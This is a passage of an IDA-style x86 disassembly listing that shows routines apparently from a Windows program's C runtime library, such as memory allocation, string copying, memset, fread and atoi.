		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27B0000h


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD380
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2840000h
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE48, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE74
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 27C0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		call	near ptr 2840000h
		nop
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE48, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2840000h
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE48, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE48
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD388
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD380
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE74
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 27C0000h
		nop


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D084, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D084, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE1C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE24, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		call	near ptr 27206A8h
		nop
		push	eax
		call	near ptr 2710A1Ah
		nop


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE20, edi
		mov	byte_4DBE1C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD39C
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD398
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


